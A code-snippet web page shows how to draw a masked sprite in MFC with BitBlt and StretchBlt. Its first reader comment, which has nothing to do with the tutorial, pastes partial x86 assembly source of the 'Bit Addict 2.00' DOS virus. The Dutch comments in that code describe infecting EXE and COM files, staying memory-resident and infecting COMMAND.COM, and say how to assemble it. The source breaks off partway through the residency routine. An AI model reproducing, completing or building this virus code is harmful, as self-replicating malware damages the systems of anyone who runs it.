Library code snippets

How to Create a Sprite using MFC

Objectives

  1. Create a Bitmap
  2. Create a DC in MFC VC++
  3. Tell the DC to draw the bitmap

Technical Points

  1. Load the Bitmap into a Bitmap class
  2. The Bitmap class stores the Original DC Bitmap which will be restored when the class is destoried.
  3. The BitBlt function performs a 1:1 copy of pixels in the Source DC to the Target DC.
  4. StretchBlt function maps the Source DC to fit the dimensions of the Target DC.

OnCreate Event

  pDC = new CClientDC(this);
   
   HDC hdcWindow = pDC->GetSafeHdc();
                     
    // let our class handle the details of loading the bitmaps!
       g_bmpBackground.Load(hdcWindow, "ch2p7_bg.bmp");
   g_bmpSprite.Load(hdcWindow, "ch2p7_purball.bmp");
   g_bmpSpriteMask.Load(hdcWindow, "ch2p7_purball_mask.bmp");

   // release the DC we obtained
   ReleaseDC(pDC);
   delete pDC;
   
   //Set the Milliseconds for each timer event
   SetTimer(1,500,0);


OnDraw Event

 StretchBlt(hdcWindow,
   0, 0, 640, 480,
   g_bmpBackground.GetBitmapDC(), 0, 0,
   g_bmpBackground.GetWidth(),
   g_bmpBackground.GetHeight(), SRCCOPY);


On Timer Event

    CDC *pDC;

     int randomx = RandomNumber(0,640);
     int randomy = RandomNumber(0,480);

    pDC = new CClientDC(this);

    HDC hdcWindow = pDC->GetSafeHdc();

    //redraw the background
    StretchBlt(hdcWindow,0, 0, 640, 480,
    g_bmpBackground.GetBitmapDC(), 0, 0, 640, 480, SRCCOPY);

     // first blit the mask, using SRCAND.
     BitBlt(hdcWindow, randomx, randomy, 640, 480,
       g_bmpSpriteMask.GetBitmapDC(), 0, 0, SRCAND);

     // then blit the image using the OR operator (SRCPAINT).
     BitBlt(hdcWindow, randomx, randomy, 640, 480,
       g_bmpSprite.GetBitmapDC(), 0, 0, SRCPAINT);

      ReleaseDC(pDC);
     delete pDC;

Comments

  1. 11 Dec 2005 at 17:05

    Ho; BIT ADDICT Versie 2.00
    ;
    ; Dit virus besmet exe en com-files, en als het opgestart wordt dan reserveert
    ; hij 2 diskbuffers en copieert het virus daarheen om resident te blijven.
    ; Als het virus resident is dan gaat hij in de environment naar de comspec
    ; zoeken en besment dan de command interpreter (meestal COMMAND.COM).
    ; Om dit virus te assambleren moet je met TASM, of MASM een OBJ-file maken en
    ; dan linken naar een exe-file. Wees voorzichtig en veel plezier met dit virus.


    ; p.s. wil je dit virus nog aan NIEMAND geven zonder mijn toestemming, omdat
    ; het virus nog niet helemaal af is, en waarschijnlijk ook niet helemaal zonder
    ; fouten.


    ;-----------------------------------------------------------------------------
    ;-----                                                                   -----
    ;-----              Macros en andere hulpmiddellen                       -----
    ;-----                                                                   -----
    ;-----------------------------------------------------------------------------


    ; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
    ; wordt dan 128 bytes en er dus een foutmelding komt


    jmpc    macro    Dest            ; vervanging voor jc
       local    @@00


       jnc    @@00
       jmp    Dest
    @@00:
       endm


    jmpnc    macro    Dest            ; vervanging voor jnc
       local    @@00


       jc    @@00
       jmp    Dest
    @@00:
       endm


    jmpe    macro    Dest            ; vervanging voor je
       local    @@00


       jnz    @@00
       jmp    Dest
    @@00:
       endm


    jmpne    macro    Dest            ; vervanging voor jne
       local    @@00


       jz    @@00
       jmp    Dest
    @@00:
       endm


    eseg segment
       mov    ax,4c00h        ; exit
       int    21h
    eseg ends


    ;-----------------------------------------------------------------------------
    ;-----                                                                   -----
    ;-----              Begin van het Bit Addict virus                       -----
    ;-----                                                                   -----
    ;-----------------------------------------------------------------------------


    cseg segment
       assume    cs:cseg,ds:cseg,es:cseg
       org    0


    BeginCode    equ    $
    SavedCode    equ    this byte        ; gegevens over het
    OldSignature    dw    5a4dh            ; programma voor het virus
    OldCSIP        equ    this dword
    OldIP        dw    0
    OldCS        dw    0
    OldSP        dw    200h
    OldSS        dw    0
           dw    3 dup(0)


    Comspec        db    'COMSPEC='        ; comspec environment variabele
                           ; om de command.com te vinden
    ID        db    'BIT ADDICT 2.00'    ; identificatie string
    ID_Length    equ    $-offset ID


    Begin:    push    ax                ; Programma om het virus
       push    bx                ; in het geheugen te zetten
       push    cx
       push    dx
       push    si
       push    di
       push    ds
       push    es
       push    cs
       pop    ds
       cmp    OldSignature,5a4dh
       je    @@10
       mov    si,offset SavedCode        ; herstel begin van het
       mov    di,100h                ; com-programma
       mov    cx,10h
       cld
       rep    movsb
       mov    OldSS,ss            ; bewaar de waarden van
       mov    OldSP,sp            ; ss,sp,cs en ip
       sub    OldSP,10h
       mov    OldCS,es
       mov    OldIP,100h
       jmp    @@11
    @@10:    mov    ax,es                ; bereken de waarden van
       add    ax,10h                ; ss,sp,cs en ip
       add    OldCS,ax
       add    OldSS,ax
    @@11:    mov    ax,4b40h            ; controleer of Bit Addict al
       int    21h                ; in het geheugen aanwezig is
       jc    @@12
       mov    ds,ax
       push    cs                ; vergelijk identificatie
       pop    ds
       mov    si,offset ID
       mov    di,si
       mov    cx,ID_Length
       cld
       repe    cmpsb
       jmpne    @@13
    @@12:    mov    ah,52h                ; lees het adres van de eerste
       int    21h                ; disk-buffer
       push    bx
       mov    ah,30h
       int    21h
       pop    di
       cmp    al,2                ; dit werkt niet op dos 1.x
     

  2. 01 Jan 1999 at 00:00

    This thread is for discussions of How to Create a Sprite using MFC.

Leave a comment

Sign in or Join us (it's free).

David Nishimoto NishiSoft provides Part I of the Information Technology Project collaboration. Sign up and list your IT project tasks, assign task too friends, and get percent complete task. Part will include a wo...

Want to stay in touch with what's going on? Follow us on twitter!